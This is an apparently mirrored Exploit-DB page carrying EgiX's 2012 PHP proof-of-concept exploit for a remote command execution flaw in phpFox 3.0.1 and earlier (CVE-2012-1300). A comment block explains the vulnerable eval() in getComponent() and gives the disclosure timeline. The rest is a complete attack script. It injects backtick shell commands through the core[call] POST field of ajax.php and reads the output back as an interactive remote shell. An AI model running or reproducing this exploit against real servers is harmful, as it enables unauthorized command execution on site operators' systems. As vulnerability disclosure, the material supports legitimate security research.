PHPFox 3.0.1 – ‘ajax.php’ Remote Command Execution

  • 作者: EgiX
    日期: 2012-03-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18655/
  • <?php
    
    /*
    -----------------------------------------------------------
    phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit
    -----------------------------------------------------------
    
    author.............: Egidio Romano aka EgiX
    mail...............: n0b0d13s[at]gmail[dot]com
    software link......: http://www.phpfox.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.|
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in Phpfox_Module::getComponent() method defined into /include/library/phpfox/module/module.class.php
    
    	716.			$aParts = explode('.', $sClass);
    	717.			$sModule = $aParts[0];		
    	718.			$sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, $sClass), '', 0, strlen($sModule . PHPFOX_DS));
    	...
    	748.			if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches[2]))
    	749.			{
    	750.				eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));');
    	751.	
    	752.				$sComponent = $aMatches[1];		
    	753.				$sClass = $aMatches[1];			
    	754.			}
    	
    	This method uses its $sClass parameterto construct the $sComponent variable that mightbe used to inject and execute	semi-arbitrary
    	PHP code in a eval() call at line 750.Due to $sClass parameter is "explode()d" by dots at line 716 andto satisfythe regexat line
    	748,isn't possible to inject codewhich contains dotsorparentheses,but is still possible to inject semi-arbitrary OS commands
    	leveraging of PHP's backtick operator.Input passedthrough $_POST[core][call](or $_POST[phpfox][call] in v2)to /static/ajax.php
    	is passed to getComponent()	method as $sClass parameter.
    	
    [-] Disclosure timeline:
    	
    	[07/02/2012] - Vulnerability discovered
    	[09/02/2012] - Vendor notified through http://www.phpfox.com/contact/
    	[24/02/2012] - CVE number requested
    	[27/02/2012] - Assigned CVE-2012-1300
    	[27/02/2012] - Vendor update released: http://www.phpfox.com/blog/v2-1-0-build-3-v3-0-1-build-3-released/
    	[23/03/2012] - Public disclosure
    
    */
    
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    
    function http_send($host, $packet)
    {
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
    
    print "\n+----------------------------------------------------------+";
    print "\n| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |";
    print "\n+----------------------------------------------------------+\n";
    
    if ($argc < 3)
    {
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /phpfox/\n";
    die();
    }
    
    list($host, $path) = array($argv[1], $argv[2]);
    
    $r_pack= "GET {$path}static/tmp HTTP/1.0\r\n";
    $r_pack .= "Host: {$host}\r\n";
    $r_pack .= "Connection: close\r\n\r\n";
    
    $packet= "POST {$path}static/ajax.php?do=/ad/complete/ HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: %d\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "X_REQUESTED_WITH: XMLHttpRequest\r\n";
    $packet .= "Connection: close\r\n\r\n%s";
    
    while(1)
    {
    print "\nphofox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	else if (preg_match('/\./', $cmd)) print "\nDots not allowed!\n";
    	else if (preg_match('/\)/', $cmd)) print "\nParenthesis not allowed!\n";
    	else
    	{
    		$payload = "core[call]=.(`{$cmd}>tmp`).";
    		http_send($host, sprintf($packet, strlen($payload), $payload));
    		$output = http_send($host, $r_pack);
    		!preg_match('/404 not/i', $output) && preg_match('/\n\r\n(.*)/s', $output, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    	}
    }